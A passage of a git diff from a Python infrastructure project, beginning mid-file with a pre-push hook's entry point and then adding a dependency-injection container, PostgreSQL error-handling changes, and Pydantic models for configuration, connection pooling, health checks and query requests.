parser.add_argument("--config", help="Configuration file path") + parser.add_argument("--dry-run", action="store_true", help="Dry run mode") + parser.add_argument("--verbose", action="store_true", help="Verbose logging") + + args = parser.parse_args() + + # Initialize hook + hook = IntelligenceHook(config_path=args.config) + + if args.verbose: + hook.logger.setLevel(logging.DEBUG) + + if args.dry_run: + hook.logger.info("🔍 DRY RUN MODE - No data will be submitted") + + # Override submit method for dry run + def dry_run_submit(doc): + hook.logger.info( + f"Would submit document with {len(doc.get('intelligence_data', {}).get('commit_analysis', {}).get('commits', []))} commits" + ) + return True + + hook.submit_intelligence_document = dry_run_submit + + # Process the hook + exit_code = hook.process_pre_push_hook(args.remote_name, args.remote_url) + sys.exit(exit_code) + + +if __name__ == "__main__": + main() diff --git a/src/omnibase_infra/infrastructure/container.py b/src/omnibase_infra/infrastructure/container.py new file mode 100644 index 0000000000..1c97426820 --- /dev/null +++ b/src/omnibase_infra/infrastructure/container.py @@ -0,0 +1,128 @@ +""" +Infrastructure Service Group Container + +Provides proper dependency injection for all infrastructure services. +Implements duck typing for protocol resolution per ONEX standards. + +Per user requirements: +- "it should be get_service("ProtocolEventBus") and we should have a onexcontainer + with all dependencies at the root of the service group" +- "Everything needs to be resolved by duck typing" +- "the work for getting The instance of the event bus should be in there not in + each base class. that's dumb" +""" + +import types +from typing import Optional, Type, TypeVar, Union + +from omnibase_core.core.onex_container import ModelONEXContainer as ONEXContainer +from omnibase_core.protocol.protocol_event_bus import ProtocolEventBus +from omnibase_core.utils.generation.utility_schema_loader import UtilitySchemaLoader + +T = TypeVar("T") + + +class InfrastructureEventBus: + """Event bus adapter for infrastructure services.""" + + def __init__(self): + self._protocol_bus = ProtocolEventBus() + self._callbacks_by_type = {} + + def subscribe(self, callback, event_type=None): + """Subscribe to events with optional type filtering.""" + if event_type is not None: + # MixinNodeService pattern: subscribe(callback, event_type) + if event_type not in self._callbacks_by_type: + self._callbacks_by_type[event_type] = [] + self._callbacks_by_type[event_type].append(callback) + + # Register with the protocol bus with a filter + def filtered_callback(event): + # Check if event matches the type we want + event_type_attr = getattr(event, 'event_type', None) or getattr(event, 'type', None) + if event_type_attr == event_type: + callback(event) + + self._protocol_bus.subscribe(filtered_callback) + else: + # MixinEventHandler pattern: subscribe(callback) + # Subscribe to all events without filtering + self._protocol_bus.subscribe(callback) + + def publish(self, event): + """Publish event.""" + self._protocol_bus.publish(event) + + def unsubscribe(self, callback): + """Unsubscribe callback.""" + # For simplicity, clear all callbacks for now + self._callbacks_by_type.clear() + + +def create_infrastructure_container() -> ONEXContainer: + """ + Create infrastructure container with all shared dependencies. + + Per user requirements: + - "it should be get_service("ProtocolEventBus") and we should have a onexcontainer + with all dependencies at the root of the service group" + - "Everything needs to be resolved by duck typing" + + Returns: + Configured ONEXContainer with infrastructure dependencies + """ + # Create base ONEX container + container = ONEXContainer() + + # Set up all shared dependencies for infrastructure services + _setup_infrastructure_dependencies(container) + + # Bind custom get_service method that handles our infrastructure services + _bind_infrastructure_get_service_method(container) + + return container + + +def _setup_infrastructure_dependencies(container: ONEXContainer): + """Set up all dependencies needed by infrastructure services.""" + + # Event Bus - shared across all infrastructure services + event_bus = InfrastructureEventBus() + print(f"Created event bus: {type(event_bus).__name__}") + + # Schema Loader - required by MixinEventDrivenNode + schema_loader = UtilitySchemaLoader() + print(f"Created schema loader: {type(schema_loader).__name__}") + + # PostgreSQL Connection Manager - required by infrastructure services + from omnibase_infra.infrastructure.postgres_connection_manager import PostgresConnectionManager + connection_manager = PostgresConnectionManager() + print(f"Created connection manager: {type(connection_manager).__name__}") + + # Register services in the container's service registry + _register_service(container, "event_bus", event_bus) + _register_service(container, "ProtocolEventBus", event_bus) + _register_service(container, "schema_loader", schema_loader) + _register_service(container, "ProtocolSchemaLoader", schema_loader) + _register_service(container, "postgres_connection_manager", connection_manager) + _register_service(container, "PostgresConnectionManager", connection_manager) + + # Verify registration + print(f"Registered services verification:") + print(f" ProtocolEventBus: {type(container.get_service('ProtocolEventBus')).__name__ if container.get_service('ProtocolEventBus') else 'None'}") + print(f" event_bus: {type(container.get_service('event_bus')).__name__ if container.get_service('event_bus') else 'None'}") + print(f" postgres_connection_manager: {type(container.get_service('postgres_connection_manager')).__name__ if container.get_service('postgres_connection_manager') else 'None'}") + + +def _register_service(container: ONEXContainer, service_name: str, service_instance): + """Register a service in the container for later retrieval.""" + # Use the ONEX container's native service registration + container.register_service(service_name, service_instance) + + +def _bind_infrastructure_get_service_method(container: ONEXContainer): + """Configure infrastructure container with proper dependency injection.""" + # The ModelONEXContainer should handle get_service natively + # We just need to register our services properly in the container + pass \ No newline at end of file diff --git a/src/omnibase_infra/infrastructure/postgres_connection_manager.py b/src/omnibase_infra/infrastructure/postgres_connection_manager.py index 5156ed236b..9fab669538 100644 --- a/src/omnibase_infra/infrastructure/postgres_connection_manager.py +++ b/src/omnibase_infra/infrastructure/postgres_connection_manager.py @@ -15,9 +15,9 @@ import asyncpg from asyncpg import Connection, Pool, Record -# Updated import to use omnibase-core -from omnibase_core.exceptions.base_onex_error import OnexError -from omnibase_core.core.errors.core_errors import CoreErrorCode +# Updated import to use omnibase_core consistently +from omnibase_core.core.errors.onex_error import OnexError +from omnibase_core.core.core_error_codes import CoreErrorCode @dataclass @@ -169,7 +169,7 @@ async def initialize(self) -> None: result = await conn.fetchval("SELECT current_schema()") if result != self.config.schema: raise OnexError( - error_code=CoreErrorCode.DATABASE_CONNECTION_ERROR, + code=CoreErrorCode.DATABASE_CONNECTION_ERROR, message=f"Failed to set schema to {self.config.schema}, got {result}", ) @@ -178,7 +178,7 @@ async def initialize(self) -> None: except Exception as e: self.connection_stats.failed_connections += 1 raise OnexError( - error_code=CoreErrorCode.DATABASE_CONNECTION_ERROR, + code=CoreErrorCode.DATABASE_CONNECTION_ERROR, message=f"Failed to initialize PostgreSQL connection pool: {str(e)}", ) from e @@ -214,7 +214,7 @@ async def acquire_connection(self) -> AsyncIterator[Connection]: except Exception as e: self.connection_stats.failed_connections += 1 raise OnexError( - error_code=CoreErrorCode.DATABASE_OPERATION_ERROR, + code=CoreErrorCode.DATABASE_OPERATION_ERROR, message=f"Database connection error: {str(e)}", ) from e finally: @@ -295,7 +295,7 @@ async def execute_query( except Exception as e: error_message = str(e) raise OnexError( - error_code=CoreErrorCode.DATABASE_QUERY_ERROR, + code=CoreErrorCode.DATABASE_QUERY_ERROR, message=f"Query execution failed: {str(e)}", ) from e finally: @@ -329,7 +329,7 @@ async def fetch_one( return await conn.fetchrow(query, *args, timeout=timeout) except Exception as e: raise OnexError( - error_code=CoreErrorCode.DATABASE_QUERY_ERROR, + code=CoreErrorCode.DATABASE_QUERY_ERROR, message=f"Single record fetch failed: {str(e)}", ) from e @@ -352,7 +352,7 @@ async def fetch_value( return await conn.fetchval(query, *args, timeout=timeout) except Exception as e: raise OnexError( - error_code=CoreErrorCode.DATABASE_QUERY_ERROR, + code=CoreErrorCode.DATABASE_QUERY_ERROR, message=f"Value fetch failed: {str(e)}", ) from e diff --git a/src/omnibase_infra/models/__init__.py b/src/omnibase_infra/models/__init__.py new file mode 100644 index 0000000000..5913b0c28e --- /dev/null +++ b/src/omnibase_infra/models/__init__.py @@ -0,0 +1 @@ +"""Shared models for omnibase_infra.""" \ No newline at end of file diff --git a/src/omnibase_infra/models/infrastructure/__init__.py b/src/omnibase_infra/models/infrastructure/__init__.py new file mode 100644 index 0000000000..1f0227541d --- /dev/null +++ b/src/omnibase_infra/models/infrastructure/__init__.py @@ -0,0 +1 @@ +"""Infrastructure shared models for ONEX infrastructure nodes.""" \ No newline at end of file diff --git a/src/omnibase_infra/models/infrastructure/model_configuration_subcontract.py b/src/omnibase_infra/models/infrastructure/model_configuration_subcontract.py new file mode 100644 index 0000000000..de65c9f1a0 --- /dev/null +++ b/src/omnibase_infra/models/infrastructure/model_configuration_subcontract.py @@ -0,0 +1,343 @@ +#!/usr/bin/env python3 +""" +Configuration Subcontract Model - ONEX Infrastructure Standards Compliant. + +Dedicated subcontract model for configuration functionality providing: +- Configuration source priority and validation +- Environment variable loading with prefix patterns +- Container service resolution with fallback +- Configuration validation and sanitization +- Sensitive data detection and masking +- Error handling and logging + +This model is composed into infrastructure node contracts that require +configuration functionality, providing clean separation between node +logic and configuration management behavior. + +ZERO TOLERANCE: No Any types allowed in implementation. +""" + +from typing import Dict, List, Optional +from enum import Enum + +from pydantic import BaseModel, Field, field_validator + + +class ConfigurationSourceType(str, Enum): + """Configuration source types in priority order.""" + CONTAINER = "container" + ENVIRONMENT = "environment" + DEFAULTS = "defaults" + FILE = "file" + + +class ValidationRuleType(str, Enum): + """Configuration validation rule types.""" + FORMAT = "format" + RANGE = "range" + ENUM = "enum" + REQUIRED = "required" + + +class ModelConfigurationSource(BaseModel): + """ + Configuration source with priority and validation. + + Defines where configuration values are loaded from + and in what order, with validation capabilities. + """ + + source_type: ConfigurationSourceType = Field( + ..., + description="Type of configuration source" + ) + + priority: int = Field( + ..., + description="Priority for configuration loading (1-100)", + ge=1, + le=100 + ) + + validation_enabled: bool = Field( + default=True, + description="Whether validation is enabled for this source" + ) + + +class ModelEnvironmentConfiguration(BaseModel): + """ + Environment-based configuration loading. + + Manages environment variable loading with proper + prefixing, validation, and fallback values. + """ + + prefix: str = Field( + ..., + description="Environment variable prefix pattern", + min_length=1, + max_length=64 + ) + + required_variables: List[str] = Field( + default_factory=list, + description="Required environment variables" + ) + + optional_variables: List[str] = Field( + default_factory=list, + description="Optional environment variables" + ) + + fallback_values: Dict[str, str] = Field( + default_factory=dict, + description="Fallback values for missing variables" + ) + + @field_validator('prefix') + @classmethod + def validate_prefix(cls, v: str) -> str: + """Validate environment prefix follows ONEX patterns.""" + if not v.endswith('_'): + v = f"{v}_" + if not v.isupper(): + v = v.upper() + if not v.replace('_', '').replace('0', '').replace('1', '').replace('2', '').replace('3', '').replace('4', '').replace('5', '').replace('6', '').replace('7', '').replace('8', '').replace('9', '').isalpha(): + raise ValueError("Environment prefix must contain only letters, numbers, and underscores") + return v + + +class ModelValidationRule(BaseModel): + """ + Individual validation rule for configuration values. + + Defines specific validation logic for configuration + fields including format, range, and enum constraints. + """ + + field_name: str = Field( + ..., + description="Name of the field to validate", + min_length=1 + ) + + rule_type: ValidationRuleType = Field( + ..., + description="Type of validation rule to apply" + ) + + pattern: Optional[str] = Field( + default=None, + description="Regex pattern for format validation" + ) + + range_min: Optional[float] = Field( + default=None, + description="Minimum value for range validation" + ) + + range_max: Optional[float] = Field( + default=None, + description="Maximum value for range validation" + ) + + allowed_values: Optional[List[str]] = Field( + default=None, + description="Allowed values for enum validation" + ) + + error_message: Optional[str] = Field( + default=None, + description="Custom error message for validation failure" + ) + + @field_validator('pattern') + @classmethod + def validate_pattern(cls, v: Optional[str], info) -> Optional[str]: + """Validate regex pattern when rule_type is FORMAT.""" + if info.data.get('rule_type') == ValidationRuleType.FORMAT and not v: + raise ValueError("Pattern is required when rule_type is 'format'") + return v + + @field_validator('range_min', 'range_max') + @classmethod + def validate_range_values(cls, v: Optional[float], info) -> Optional[float]: + """Validate range values when rule_type is RANGE.""" + if info.data.get('rule_type') == ValidationRuleType.RANGE: + if info.field_name == 'range_min' and v is None: + raise ValueError("range_min is required when rule_type is 'range'") + if info.field_name == 'range_max' and v is None: + raise ValueError("range_max is required when rule_type is 'range'") + return v + + @field_validator('allowed_values') + @classmethod + def validate_allowed_values(cls, v: Optional[List[str]], info) -> Optional[List[str]]: + """Validate allowed values when rule_type is ENUM.""" + if info.data.get('rule_type') == ValidationRuleType.ENUM and not v: + raise ValueError("allowed_values is required when rule_type is 'enum'") + return v + + +class ModelConfigurationValidation(BaseModel): + """ + Configuration validation rules and patterns. + + Manages validation rules, sensitive field detection, + and required field enforcement for configuration. + """ + + validation_rules: List[ModelValidationRule] = Field( + ..., + description="List of validation rules to apply" + ) + + sensitive_field_patterns: List[str] = Field( + default_factory=lambda: ["password", "secret", "key", "token", "credential"], + description="Patterns to identify sensitive fields" + ) + + required_fields: List[str] = Field( + default_factory=list, + description="List of required configuration fields" + ) + + +class ModelConfigurationIntegration(BaseModel): + """ + Configuration integration patterns. + + Defines how configuration integrates with container + services, environment loading, and caching systems. + """ + + container_service_resolution_enabled: bool = Field( + default=True, + description="Enable container service resolution" + ) + + container_service_key: str = Field( + default="configuration_service", + description="Service key for container resolution" + ) + + environment_loading_enabled: bool = Field( + default=True, + description="Enable environment variable loading" + ) + + prefix_required: bool = Field( + default=True, + description="Require environment variable prefix" + ) + + fallback_enabled: bool = Field( + default=True, + description="Enable fallback to defaults" + ) + + caching_enabled: bool = Field( + default=True, + description="Enable configuration caching" + ) + + cache_duration_seconds: int = Field( + default=300, + description="Cache duration in seconds", + ge=1, + le=3600 + ) + + +class ModelConfigurationSecurity(BaseModel): + """ + Configuration security settings. + + Manages sensitive data detection, sanitization, + and secure logging for configuration values. + """ + + sanitize_logs: bool = Field( + default=True, + description="Sanitize sensitive values in logs" + ) + + mask_sensitive_values: bool = Field( + default=True, + description="Mask sensitive configuration values" + ) + + sensitive_patterns: List[str] = Field( + default_factory=lambda: ["password", "secret", "key", "token", "credential"], + description="Patterns that identify sensitive fields" + ) + + redaction_replacement: str = Field( + default="[REDACTED]", + description="Replacement text for sensitive values" + ) + + +class ModelConfigurationSubcontract(BaseModel): + """ + Main configuration subcontract model. + + Comprehensive configuration management system that provides + standardized loading, validation, and security patterns + for ONEX infrastructure nodes. + """ + + subcontract_version: str = Field( + default="1.0.0", + description="Configuration subcontract version" + ) + + sources: List[ModelConfigurationSource] = Field( + default_factory=lambda: [ + ModelConfigurationSource(source_type=ConfigurationSourceType.CONTAINER, priority=1), + ModelConfigurationSource(source_type=ConfigurationSourceType.ENVIRONMENT, priority=2), + ModelConfigurationSource(source_type=ConfigurationSourceType.DEFAULTS, priority=3) + ], + description="Configuration sources in priority order" + ) + + environment_config: Optional[ModelEnvironmentConfiguration] = Field( + default=None, + description="Environment variable configuration" + ) + + validation_config: Optional[ModelConfigurationValidation] = Field( + default=None, + description="Configuration validation settings" + ) + + integration_config: ModelConfigurationIntegration = Field( + default_factory=ModelConfigurationIntegration, + description="Integration pattern configuration" + ) + + security_config: ModelConfigurationSecurity = Field( + default_factory=ModelConfigurationSecurity, + description="Security and sanitization configuration" + ) + + fail_on_missing_required: bool = Field( + default=True, + description="Fail when required configuration is missing" + ) + + fail_on_invalid_format: bool = Field( + default=True, + description="Fail when configuration format is invalid" + ) + + log_configuration_errors: bool = Field( + default=True, + description="Log configuration loading errors" + ) + + provide_detailed_validation_messages: bool = Field( + default=True, + description="Provide detailed validation error messages" + ) \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/__init__.py b/src/omnibase_infra/models/postgres/__init__.py new file mode 100644 index 0000000000..a5d963945d --- /dev/null +++ b/src/omnibase_infra/models/postgres/__init__.py @@ -0,0 +1 @@ +"""Shared PostgreSQL models.""" \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/enum_postgres_query_type.py b/src/omnibase_infra/models/postgres/enum_postgres_query_type.py new file mode 100644 index 0000000000..e80cb496a5 --- /dev/null +++ b/src/omnibase_infra/models/postgres/enum_postgres_query_type.py @@ -0,0 +1,16 @@ +"""PostgreSQL query type enumeration.""" + +from enum import Enum + + +class EnumPostgresQueryType(str, Enum): + """PostgreSQL query type enumeration.""" + + SELECT = "select" + INSERT = "insert" + UPDATE = "update" + DELETE = "delete" + DDL = "ddl" # Data Definition Language (CREATE, DROP, ALTER, etc.) + DCL = "dcl" # Data Control Language (GRANT, REVOKE, etc.) + TCL = "tcl" # Transaction Control Language (COMMIT, ROLLBACK, etc.) + GENERAL = "general" # General/mixed queries \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_connection_config.py b/src/omnibase_infra/models/postgres/model_postgres_connection_config.py new file mode 100644 index 0000000000..32e04ff164 --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_connection_config.py @@ -0,0 +1,59 @@ +"""PostgreSQL connection configuration model.""" + +import os +from typing import Dict, Optional + +from pydantic import BaseModel, Field + + +class ModelPostgresConnectionConfig(BaseModel): + """PostgreSQL connection configuration.""" + + host: str = Field(default="localhost", description="PostgreSQL host") + port: int = Field(default=5432, description="PostgreSQL port") + database: str = Field(default="omnibase_infrastructure", description="Database name") + user: str = Field(default="postgres", description="Database user") + password: str = Field(default="", description="Database password") + schema: str = Field(default="infrastructure", description="Default schema") + + # Pool configuration + min_connections: int = Field(default=5, description="Minimum pool connections") + max_connections: int = Field(default=50, description="Maximum pool connections") + max_inactive_connection_lifetime: float = Field( + default=300.0, description="Max inactive connection lifetime in seconds" + ) + max_queries: int = Field(default=50000, description="Maximum queries per connection") + + # Connection timeouts + command_timeout: float = Field(default=60.0, description="Command timeout in seconds") + server_settings: Optional[Dict[str, str]] = Field( + default=None, description="Additional server settings" + ) + + # SSL configuration + ssl_mode: str = Field(default="prefer", description="SSL mode") + ssl_cert_file: Optional[str] = Field(default=None, description="SSL certificate file") + ssl_key_file: Optional[str] = Field(default=None, description="SSL key file") + ssl_ca_file: Optional[str] = Field(default=None, description="SSL CA file") + + @classmethod + def from_environment(cls) -> "ModelPostgresConnectionConfig": + """Create configuration from environment variables.""" + return cls( + host=os.getenv("POSTGRES_HOST", "localhost"), + port=int(os.getenv("POSTGRES_PORT", "5432")), + database=os.getenv("POSTGRES_DATABASE", "omnibase_infrastructure"), + user=os.getenv("POSTGRES_USER", "postgres"), + password=os.getenv("POSTGRES_PASSWORD", ""), + schema=os.getenv("POSTGRES_SCHEMA", "infrastructure"), + min_connections=int(os.getenv("POSTGRES_MIN_CONNECTIONS", "5")), + max_connections=int(os.getenv("POSTGRES_MAX_CONNECTIONS", "50")), + max_inactive_connection_lifetime=float( + os.getenv("POSTGRES_MAX_INACTIVE_LIFETIME", "300.0") + ), + command_timeout=float(os.getenv("POSTGRES_COMMAND_TIMEOUT", "60.0")), + ssl_mode=os.getenv("POSTGRES_SSL_MODE", "prefer"), + ssl_cert_file=os.getenv("POSTGRES_SSL_CERT_FILE"), + ssl_key_file=os.getenv("POSTGRES_SSL_KEY_FILE"), + ssl_ca_file=os.getenv("POSTGRES_SSL_CA_FILE"), + ) \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_connection_id.py b/src/omnibase_infra/models/postgres/model_postgres_connection_id.py new file mode 100644 index 0000000000..6da24d212a --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_connection_id.py @@ -0,0 +1,15 @@ +"""PostgreSQL connection identifier model.""" + +from typing import Optional +from pydantic import BaseModel, Field + + +class ModelPostgresConnectionId(BaseModel): + """PostgreSQL connection identifier model.""" + + connection_id: str = Field(description="Unique connection identifier") + pool_name: Optional[str] = Field(default=None, description="Connection pool name") + database_name: str = Field(description="Database name") + username: str = Field(description="Database username") + host: str = Field(description="Database host") + port: int = Field(description="Database port", ge=1, le=65535) \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_connection_pool_info.py b/src/omnibase_infra/models/postgres/model_postgres_connection_pool_info.py new file mode 100644 index 0000000000..93d16286cd --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_connection_pool_info.py @@ -0,0 +1,16 @@ +"""PostgreSQL connection pool information model.""" + +from typing import Optional +from pydantic import BaseModel, Field + + +class ModelPostgresConnectionPoolInfo(BaseModel): + """PostgreSQL connection pool information model.""" + + total_connections: int = Field(description="Total number of connections in pool", ge=0) + active_connections: int = Field(description="Number of active connections", ge=0) + idle_connections: int = Field(description="Number of idle connections", ge=0) + pool_size_limit: int = Field(description="Maximum pool size", ge=1) + pool_name: Optional[str] = Field(default=None, description="Name of the connection pool") + average_connection_time_ms: Optional[float] = Field(default=None, description="Average connection time in milliseconds", ge=0) + pool_health: str = Field(default="healthy", description="Pool health status: healthy, degraded, unhealthy") \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_connection_stats.py b/src/omnibase_infra/models/postgres/model_postgres_connection_stats.py new file mode 100644 index 0000000000..3220367243 --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_connection_stats.py @@ -0,0 +1,17 @@ +"""PostgreSQL connection statistics model.""" + +from pydantic import BaseModel, Field + + +class ModelPostgresConnectionStats(BaseModel): + """Connection pool statistics.""" + + size: int = Field(description="Current pool size") + checked_out: int = Field(description="Connections currently checked out") + overflow: int = Field(description="Overflow connections") + checked_in: int = Field(description="Connections checked back in") + total_connections: int = Field(description="Total connections created") + failed_connections: int = Field(description="Number of failed connection attempts") + reconnect_count: int = Field(description="Number of reconnections") + query_count: int = Field(description="Total queries executed") + average_response_time_ms: float = Field(description="Average query response time in milliseconds") \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_context.py b/src/omnibase_infra/models/postgres/model_postgres_context.py new file mode 100644 index 0000000000..6f716d2fcd --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_context.py @@ -0,0 +1,14 @@ +"""PostgreSQL context model for additional request/response context.""" + +from typing import Optional +from pydantic import BaseModel, Field + + +class ModelPostgresContext(BaseModel): + """PostgreSQL context model for additional request/response context.""" + + request_source: Optional[str] = Field(default=None, description="Source of the request") + trace_id: Optional[str] = Field(default=None, description="Distributed tracing ID") + user_id: Optional[str] = Field(default=None, description="User ID associated with request") + timeout_ms: Optional[int] = Field(default=None, description="Request timeout in milliseconds", ge=0) + priority: Optional[str] = Field(default="normal", description="Request priority level") \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_database_info.py b/src/omnibase_infra/models/postgres/model_postgres_database_info.py new file mode 100644 index 0000000000..f95a13c865 --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_database_info.py @@ -0,0 +1,16 @@ +"""PostgreSQL database information model.""" + +from typing import Optional +from pydantic import BaseModel, Field + + +class ModelPostgresDatabaseInfo(BaseModel): + """PostgreSQL database information model.""" + + database_name: str = Field(description="Name of the database") + database_version: str = Field(description="PostgreSQL version") + database_size_bytes: Optional[int] = Field(default=None, description="Database size in bytes", ge=0) + connection_count: int = Field(description="Current number of database connections", ge=0) + max_connections: int = Field(description="Maximum allowed connections", ge=1) + uptime_seconds: Optional[int] = Field(default=None, description="Database uptime in seconds", ge=0) + is_read_only: bool = Field(default=False, description="Whether database is in read-only mode") \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_error.py b/src/omnibase_infra/models/postgres/model_postgres_error.py new file mode 100644 index 0000000000..50ed432813 --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_error.py @@ -0,0 +1,15 @@ +"""PostgreSQL error model.""" + +from typing import Optional +from pydantic import BaseModel, Field + + +class ModelPostgresError(BaseModel): + """PostgreSQL error model.""" + + error_code: str = Field(description="PostgreSQL error code") + error_message: str = Field(description="Human-readable error message") + severity: str = Field(description="Error severity: ERROR, WARNING, INFO") + error_context: Optional[str] = Field(default=None, description="Additional error context") + timestamp: Optional[float] = Field(default=None, description="Error timestamp", ge=0) + query_id: Optional[str] = Field(default=None, description="Query ID that caused the error") \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_health_request.py b/src/omnibase_infra/models/postgres/model_postgres_health_request.py new file mode 100644 index 0000000000..2ebee88ae3 --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_health_request.py @@ -0,0 +1,18 @@ +"""PostgreSQL health check request model.""" + +from typing import Optional +from uuid import UUID + +from pydantic import BaseModel, Field + +from .model_postgres_context import ModelPostgresContext + + +class ModelPostgresHealthRequest(BaseModel): + """PostgreSQL health check request model.""" + + include_performance_metrics: bool = Field(default=True, description="Include performance metrics in response") + include_connection_stats: bool = Field(default=True, description="Include connection pool statistics") + include_schema_info: bool = Field(default=True, description="Include schema validation information") + correlation_id: Optional[UUID] = Field(default=None, description="Request correlation ID") + context: Optional[ModelPostgresContext] = Field(default=None, description="Additional request context") \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_health_response.py b/src/omnibase_infra/models/postgres/model_postgres_health_response.py new file mode 100644 index 0000000000..3f62765118 --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_health_response.py @@ -0,0 +1,35 @@ +"""PostgreSQL health check response model.""" + +from typing import List, Optional +from uuid import UUID + +from pydantic import BaseModel, Field + +from .model_postgres_connection_pool_info import ModelPostgresConnectionPoolInfo +from .model_postgres_context import ModelPostgresContext +from .model_postgres_database_info import ModelPostgresDatabaseInfo +from .model_postgres_error import ModelPostgresError +from .model_postgres_performance_metrics import ModelPostgresPerformanceMetrics +from .model_postgres_schema_info import ModelPostgresSchemaInfo + + +class ModelPostgresHealthResponse(BaseModel): + """PostgreSQL health check response model.""" + + status: str = Field(description="Health status: healthy, degraded, unhealthy") + timestamp: float = Field(description="Health check timestamp") + connection_pool: Optional[ModelPostgresConnectionPoolInfo] = Field( + default=None, description="Connection pool information" + ) + database_info: Optional[ModelPostgresDatabaseInfo] = Field( + default=None, description="Database information" + ) + schema_info: Optional[ModelPostgresSchemaInfo] = Field( + default=None, description="Schema validation information" + ) + performance: Optional[ModelPostgresPerformanceMetrics] = Field( + default=None, description="Performance metrics" + ) + errors: List[ModelPostgresError] = Field(default_factory=list, description="List of errors or warnings") + correlation_id: Optional[UUID] = Field(default=None, description="Request correlation ID") + context: Optional[ModelPostgresContext] = Field(default=None, description="Additional response context") \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_performance_metrics.py b/src/omnibase_infra/models/postgres/model_postgres_performance_metrics.py new file mode 100644 index 0000000000..9240bedee6 --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_performance_metrics.py @@ -0,0 +1,18 @@ +"""PostgreSQL performance metrics model.""" + +from typing import Optional +from pydantic import BaseModel, Field + + +class ModelPostgresPerformanceMetrics(BaseModel): + """PostgreSQL performance metrics model.""" + + queries_per_second: Optional[float] = Field(default=None, description="Queries per second", ge=0) + average_query_time_ms: Optional[float] = Field(default=None, description="Average query execution time in milliseconds", ge=0) + slow_query_count: Optional[int] = Field(default=None, description="Number of slow queries", ge=0) + cache_hit_ratio: Optional[float] = Field(default=None, description="Cache hit ratio (0-1)", ge=0, le=1) + buffer_hit_ratio: Optional[float] = Field(default=None, description="Buffer hit ratio (0-1)", ge=0, le=1) + disk_reads_per_second: Optional[float] = Field(default=None, description="Disk reads per second", ge=0) + disk_writes_per_second: Optional[float] = Field(default=None, description="Disk writes per second", ge=0) + cpu_usage_percent: Optional[float] = Field(default=None, description="CPU usage percentage", ge=0, le=100) + memory_usage_bytes: Optional[int] = Field(default=None, description="Memory usage in bytes", ge=0) \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_query_metrics.py b/src/omnibase_infra/models/postgres/model_postgres_query_metrics.py new file mode 100644 index 0000000000..032b5ffd2f --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_query_metrics.py @@ -0,0 +1,21 @@ +"""PostgreSQL query execution metrics model.""" + +from typing import Optional +from datetime import datetime + +from pydantic import BaseModel, Field + +from .model_postgres_connection_id import ModelPostgresConnectionId +from .model_postgres_error import ModelPostgresError + + +class ModelPostgresQueryMetrics(BaseModel): + """Query execution metrics.""" + + query_hash: str = Field(description="Hash of the executed query") + execution_time_ms: float = Field(description="Query execution time in milliseconds") + rows_affected: int = Field(description="Number of rows affected/returned") + connection_info: ModelPostgresConnectionId = Field(description="Connection information") + timestamp: datetime = Field(description="Timestamp of query execution") + was_successful: bool = Field(description="Whether query executed successfully") + error: Optional[ModelPostgresError] = Field(default=None, description="Error details if query failed") \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_query_request.py b/src/omnibase_infra/models/postgres/model_postgres_query_request.py new file mode 100644 index 0000000000..bbf5367fcd --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_query_request.py @@ -0,0 +1,24 @@ +"""PostgreSQL query request model for message bus integration.""" + +from typing import List, Optional, Union +from uuid import UUID + +from pydantic import BaseModel, Field + +from .enum_postgres_query_type import EnumPostgresQueryType +from .model_postgres_context import ModelPostgresContext + + +class ModelPostgresQueryRequest(BaseModel): + """PostgreSQL query request model.""" + + query: str = Field(description="SQL query to execute") + parameters: List[Union[str, int, float, bool, None]] = Field( + default_factory=list, + description="Query parameters with proper typing (no Any types)" + ) + timeout: Optional[float] = Field(default=None, description="Query timeout in seconds") + record_metrics: bool = Field(default=True, description="Whether to record query metrics") + query_type: EnumPostgresQueryType = Field(default=EnumPostgresQueryType.GENERAL, description="Type of query") + correlation_id: Optional[UUID] = Field(default=None, description="Request correlation ID") + context: Optional[ModelPostgresContext] = Field(default=None, description="Additional request context") \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_query_response.py b/src/omnibase_infra/models/postgres/model_postgres_query_response.py new file mode 100644 index 0000000000..45878f6632 --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_query_response.py @@ -0,0 +1,25 @@ +"""PostgreSQL query response model for message bus integration.""" + +from typing import Optional +from uuid import UUID + +from pydantic import BaseModel, Field + +from .model_postgres_context import ModelPostgresContext +from .model_postgres_error import ModelPostgresError +from .model_postgres_query_metrics import ModelPostgresQueryMetrics +from .model_postgres_query_result import ModelPostgresQueryResult + + +class ModelPostgresQueryResponse(BaseModel): + """PostgreSQL query response model.""" + + success: bool = Field(description="Whether the query was successful") + data: Optional[ModelPostgresQueryResult] = Field(default=None, description="Query result data") + status_message: Optional[str] = Field(default=None, description="Database status message") + rows_affected: int = Field(default=0, description="Number of rows affected/returned") + execution_time_ms: float = Field(description="Query execution time in milliseconds") + correlation_id: Optional[UUID] = Field(default=None, description="Request correlation ID") + error: Optional[ModelPostgresError] = Field(default=None, description="Error details if query failed") + query_metrics: 